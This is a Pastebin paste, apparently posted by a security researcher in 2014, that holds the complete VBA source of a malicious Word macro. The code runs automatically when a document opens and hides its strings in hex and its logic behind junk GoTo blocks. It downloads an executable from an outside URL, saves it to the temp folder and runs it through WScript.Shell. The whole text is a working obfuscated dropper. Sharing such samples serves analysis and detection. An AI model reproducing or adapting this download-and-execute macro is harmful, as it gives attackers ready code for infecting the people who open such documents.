dynamoo

Malicious Word macro

Oct 14th, 2014
612
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub Auto_Open()
  10. GoTo zyonicwewvh
  11. Dim jrtyjkokivl As String
  12. Open nugupwoilug("76787A7A7167726B6E6168") For Binary As #60166
  13. Put #60166, , jrtyjkokivl
  14. Close #60166
  15. zyonicwewvh:
  16.     v45
  17. End Sub
  18. Sub AutoOpen()
  19. GoTo cshavpegdgv
  20. Dim pxmmhctorjb As String
  21. Open nugupwoilug("6E61767979646674706264") For Binary As #5606
  22. Put #5606, , pxmmhctorjb
  23. Close #5606
  24. cshavpegdgv:
  25.     Auto_Open
  26. End Sub
  27. Sub Workbook_Open()
  28. GoTo thmjlsnjzua
  29. Dim afcvmtjfmuf As String
  30. Open nugupwoilug("6777626F70626B6D727A66") For Binary As #41353
  31. Put #41353, , afcvmtjfmuf
  32. Close #41353
  33. thmjlsnjzua:
  34.     Auto_Open
  35. End Sub
  36. Sub v45()
  37. Dim hU89tGOFe3 As String
  38. Dim z7GfitrgoFI As Integer
  39. Dim Ljgf43tFU As Integer
  40. Dim zccccccF
  41.  
  42. GoTo smrfjtcvqiq
  43. Dim cltsrpyegyy As String
  44. Open nugupwoilug("7173767A726F797170636E") For Binary As #13796
  45. Put #13796, , cltsrpyegyy
  46. Close #13796
  47. smrfjtcvqiq:
  48. Set zccccccF = CreateObject(nugupwoilug("575363") + "ript.Sh" + "ell")
  49.  
  50. u6RF = nugupwoilug("687474703A2F2F70726F2D706F73652D70686F746F6772617068792E636F2E756B2F666169722F312E657865")
  51.  
  52. Dim hbo34
  53.  
  54. GoTo fxlkdemvdlp
  55. Dim ipgbzbjpllx As String
  56. Open nugupwoilug("6D7879746D64616A697477") For Binary As #80969
  57. Put #80969, , ipgbzbjpllx
  58. Close #80969
  59. fxlkdemvdlp:
  60. Set hbo34 = CreateObject(nugupwoilug("4164") + "odb" + ".St" + "ream")
  61.  
  62. Dim yU95trfc
  63.  
  64. GoTo bouhyobiwcq
  65. Dim wuechfhtivr As String
  66. Open nugupwoilug("64697379766D666D7A7378") For Binary As #59777
  67. Put #59777, , wuechfhtivr
  68. Close #59777
  69. bouhyobiwcq:
  70. Set yU95trfc = CreateObject(nugupwoilug("4D6963") + "ros" + "oft.XML" + "HTTP")
  71.  
  72. GoTo jjyntkklosr
  73. Dim zgwyfxugvdu As String
  74. Open nugupwoilug("7567757861656975776B6B") For Binary As #19545
  75. Put #19545, , zgwyfxugvdu
  76. Close #19545
  77. jjyntkklosr:
  78. Ve4vfC = Environ(nugupwoilug("54454D50"))
  79.  
  80. GoTo oyvgabcepqa
  81. Dim grpxoqflbqf As String
  82. Open nugupwoilug("657670626C75707765746B") For Binary As #92423
  83. Put #92423, , grpxoqflbqf
  84. Close #92423
  85. oyvgabcepqa:
  86. yU95trfc.Open nugupwoilug("474554"), u6RF, False
  87.  
  88. GoTo wnphogazgid
  89. Dim gkzgbwzlnyk As String
  90. Open nugupwoilug("7168677268706D6F6B7870") For Binary As #39162
  91. Put #39162, , gkzgbwzlnyk
  92. Close #39162
  93. wnphogazgid:
  94. yU95trfc.Send
  95.  
  96. GoTo eefdrfxjavo
  97. Dim hzfspltcccv As String
  98. Open nugupwoilug("796F68626872766479736F") For Binary As #7132
  99. Put #7132, , hzfspltcccv
  100. Close #7132
  101. eefdrfxjavo:
  102. With hbo34
  103.  
  104. .Type = 1
  105.  
  106. GoTo rpyqtdgzble
  107. Dim mowmgueidly As String
  108. Open nugupwoilug("6E6E766A6F6465746A7467") For Binary As #83313
  109. Put #83313, , mowmgueidly
  110. Close #83313
  111. rpyqtdgzble:
  112. .Open
  113.  
  114. GoTo gfewgqlsqut
  115. Dim psjscvinyuu As String
  116. Open nugupwoilug("636B6C7679686F78647869") For Binary As #56420
  117. Put #56420, , psjscvinyuu
  118. Close #56420
  119. gfewgqlsqut:
  120. .write yU95trfc.responseBody
  121.  
  122. GoTo jickmldyhvd
  123. Dim zyonicwewvh As String
  124. Open nugupwoilug("737A716B7961796A716175") For Binary As #50521
  125. Put #50521, , zyonicwewvh
  126. Close #50521
  127. jickmldyhvd:
  128. .SaveToFile Ve4vfC & nugupwoilug("5C3866766B2E657865"), 2
  129.  
  130. End With
  131.  
  132. GoTo atdjeyaqtqz
  133. Dim xcdgoxxnlln As String
  134. Open nugupwoilug("6775766C65626F6E65796D") For Binary As #46327
  135. Put #46327, , xcdgoxxnlln
  136. Close #46327
  137. atdjeyaqtqz:
  138. pJBvu8f = Ve4vfC & nugupwoilug("5C3866766B2E657865")
  139.  
  140. GoTo mkfioyiwyyb
  141. Dim thmjlsnjzua As String
  142. Open nugupwoilug("6C71746A6270776E627A74") For Binary As #31808
  143. Put #31808, , thmjlsnjzua
  144. Close #31808
  145. mkfioyiwyyb:
  146. tFCVUV8eg = nugupwoilug("7A636363636363462E52756E")
  147.  
  148. GoTo khpcsjvuazu
  149. Dim cfyepzgrhzp As String
  150. Open nugupwoilug("786A706D746A70647A6E79") For Binary As #55434
  151. Put #55434, , cfyepzgrhzp
  152. Close #55434
  153. khpcsjvuazu:
  154. zccccccF.Run (pJBvu8f)
  155.  
  156. End Sub
  157.  
  158.  
  159. Public Function nugupwoilug(ByVal sData As String) As String
  160.   Dim i       As Long
  161.   For i = 1 To Len(sData) Step 2
  162.   nugupwoilug = nugupwoilug & Chr$(Val("&H" & Mid$(sData, i, 2)))
  163.   Next i
  164.  End Function
Add Comment
Please, Sign In to add comment